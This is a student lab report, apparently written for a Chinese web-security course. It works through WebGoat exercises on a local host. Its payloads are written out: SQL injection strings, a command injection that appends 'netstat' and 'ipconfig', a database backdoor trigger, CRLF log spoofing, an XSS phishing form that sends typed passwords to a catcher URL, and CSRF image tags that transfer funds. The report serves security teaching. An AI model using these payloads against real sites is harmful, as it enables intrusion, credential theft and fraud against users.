20145227鄢曼君《網絡對抗》Web安全基礎實踐
實驗后回答問題
1.SQL注入攻擊原理,如何防御?
- SQL注入攻擊指的是通過構建特殊的輸入作為參數傳入Web應用程序,而這些輸入大都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,其主要原因是程序沒有細致地過濾用戶輸入的數據,致使非法數據侵入系統。
- 根據相關技術原理,SQL注入可以分為平臺層注入和代碼層注入。前者由不安全的數據庫配置或數據庫平臺的漏洞所致;后者主要是由于程序員對輸入未進行細致地過濾,從而執行了非法的數據查詢。
- 防御:對輸入的數據進行過濾,過濾掉敏感字符。加密數據庫。
2.XSS攻擊的原理,如何防御?
- XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。攻擊者利用網站漏洞,輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼;由于受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被注入惡意腳本的頁面后,這段惡意腳本可以順利執行,實現獲取用戶cookie并可以利用用戶身份進行非法操作的目的。
- 防御:檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。還有就是在表單提交或者url參數傳遞前,對需要的參數進行過濾。
3.CSRF攻擊原理,如何防御?
- CSRF全名是Cross-site request forgery,是一種對網站的惡意利用。CSRF攻擊的主要目的是讓用戶在不知情的情況下攻擊自己已登錄的一個系統,通過偽裝來自受信任用戶的請求來利用受信任的網站。它危害性甚至比XSS更大。比如實驗中的轉賬之類的。
- 防御:用戶在瀏覽其它站點前登出站點;在瀏覽器會話結束后清理瀏覽器的cookie;盡量不要在頁面的鏈接中暴露用戶隱私信息;避免全站通用的cookie,嚴格設置cookie的域。
實驗感想
- 這次實驗確實內容很多,但是都還挺有意思的,而且我也學到了一些東西。這次的實驗感覺與我們生活息息相關,其實我們之前學的很多課程都有涉及到web安全,這一次的Web安全基礎實踐又讓我了解到了更多的關于這方面的攻擊手段等,相信以后登錄網頁或者點擊鏈接之類的我會更加謹慎。
實踐過程
- 開啟webgoat,打開WebGoat:
java -jar webgoat-container-7.0.1-war-exec.jar


- 然后在瀏覽器輸入
localhost:8080/WebGoat
,進入webgoat。
SQL練習
String SQL Injection(SQL字符串注入)
- 這個題的題目大意是:這個表單允許使用者查詢他們的信用卡號,使用SQL注入讓所有的信用卡號都看得見。

- 我們構造一個永真式“1”,那么不管前面的WHERE是否成立都能執行,所以構造語句'or 1='1,成功得到了全部的信用卡號。

Numeric SQL Injection(數字型SQL注入)
- 這個題大概意思是這個表單允許使用者看到天氣數據,利用SQL注入使得可以看見所有數據。
- 由于沒辦法直接輸入,無法在前端進行SQL注入,我們可以從捕獲包中修改。
- 首先啟動BurpSuite。然后設置代理“Proxy”的“Options”選項,默認是8080端口被占用時需要添加一個新的端口8888,點擊add;添加后勾選。

- 然后設置瀏覽器的代理:打開瀏覽器右側的“更多”選項卡,preference-advanced-settings
- 這相當于將burpsuite當成中間服務器,每個數據包都流過它。
- 設置好之后回到題目,任意選擇一項,點擊GO,然后回到burpsuite。發現多了捕獲的包。然后右鍵send to repeater ,我們修改station值從為101 為 101 or 1=1,點擊GO,可以看到右邊response包中的SQL語句為
SELECT * FROM weather_data WHERE station = 101 or 1=1
。

- 回到Proxy中點擊
Intercept is on
對剩下的包不作處理,回到火狐瀏覽器發現已經成功了!

Command Injection(命令注入)
- 題目要求能夠在目標主機上執行系統命令,我發現可以通過火狐瀏覽器下的一個擴展Firebug對源代碼進行修改,例如在BackDoors.help旁邊加上
& netstat -an & ipconfig

- 選中修改后的值再點view,可以看到命令被執行,出現系統網絡連接情況:

Database Backdoors
- 輸入注入語句:
101; update employee set salary=9000
,成功把該用戶的工資漲到了9000。這種給別人漲工資的感覺好棒啊~

- 接下來使用語句
101;CREATE TRIGGER ymjBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145227@qq.com' WHERE userid = NEW.userid
創建一個后門,把表中所有的郵箱和用戶ID都設為我的。所有人的工資都郵到我這里吧,哈哈哈

Blind Numeric SQL Injection
- 題目要求是得到一個存放在pins表中值pin的內容,行號
cc_number=1111222233334444
,是一個int型的數據。 - 然后使用BurpSuite進行攔截,攔截后action--send to intruder進行暴力破解,使用sniper模式,選擇10000進行數字爆破(選擇前先clear將默認的爆破點清除),從1到10000,步長為1。可以發現2364的報文長度明顯和其他不一樣,那這個值就應該就是2364:

Log Spoofing(日志欺騙)
- 這道題大概意思是說,我們輸入的用戶名會被追加到日志文件中。所以我們可以使用障眼法來使用戶名為“admin”的用戶在日志中顯示“成功登錄”,例如在User Name文本框中輸入
ymj%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符:


LAB:SQL Injection
Stage 1:String SQL Injection
- 題目要求:使用字符串SQL注入在沒有正確密碼的情況下登錄賬號boss。
- 以用戶Neville登錄,在密碼欄中輸入
' or 1=1 --
進行SQL注入,但是登錄失敗。 - 查看了一下網頁源碼,發現輸入框對輸入的字符長度進行了限制,最多只允許輸入8個字符:

- 于是我對字符長度進行了修改,然后重新登錄,登錄成功!

Stage 3:Numeric SQL Injection
- 題目要求:通過注入語句,瀏覽到原本無法瀏覽的信息。通過一個普通員工的賬戶larry,瀏覽其BOSS的賬戶信息。
- 首先我們用上一題的辦法登錄Larry的賬號!在密碼框里輸入
' or 1=1 --
,登錄后發現我們只能看見Larry一個人的工資信息.

- 瀏覽員工信息的按鈕是ViewProfile.在網頁代碼中分析一下這個按鈕,發現這個地方是以員工ID作為索引傳遞參數的,我們要達到通過Larry來瀏覽老板賬戶信息的目的,把其中的value值改為101 or 1=1 order by salary desc --,這樣老板的信息就會被排到第一個:


XSS攻擊
Phishing with XSS
</form><script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} </script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 在搜索框中輸入攻擊代碼后點擊搜索,會看到一個要求輸入用戶名密碼的表單,然后輸入用戶名密碼,點擊登錄,WebGoat會將你輸入的信息捕獲并反饋給你:


Stored XSS Attacks
- 題目要求:要創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容。
- 直接在title里隨便輸入,然后在message中輸入一串代碼,比如:
<script>alert("hhh5227lll!");</script>
提交后,再次點擊剛剛創建的帖子,成功彈出窗口,說明攻擊成功!

Reflected XSS Attacks
- 當我們輸入錯誤的用戶信息后,服務器校驗輸入有誤,會返回錯誤頁面并將錯誤內容展示給我們看:

- 如果我們將帶有攻擊性的URL作為輸入源,比如
<script>alert("hhh20145227ymj");</script>
,就會彈出對話框:


- 這個看上去和上面很相似,但是原理不同,上面的是存儲式的,這個是通過寫在url里面達到的效果,里面的腳本也可以改寫成其他惡意的內容。
CSRF攻擊
Cross Site Request Forgery
- 題目要求:需要寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,我們可以以圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
- 查看自己電腦的Screen和menu的值:

- 然后在message里面輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=291&menu=900&transferFunds=轉賬金額"/>
就會發出一個轉錢的請求,盜取錢財。 - 提交后,會在消息列表中看到一個新的消息,點擊該消息,當前頁面就會下載這個消息并顯示出來,轉走用戶的錢,達到CSRF攻擊的目的。

CSRF Prompt By-Pass
- 這個就是利用CSRF進行冒名操作轉賬,不過這次包括了兩個請求,一是轉賬請求,二是確認轉賬成功請求,即需要額外傳遞兩個參數給服務器(transferFunds=4000,transferFunds=CONFIRM)。直接在message中寫入攻擊代碼,然后提交:

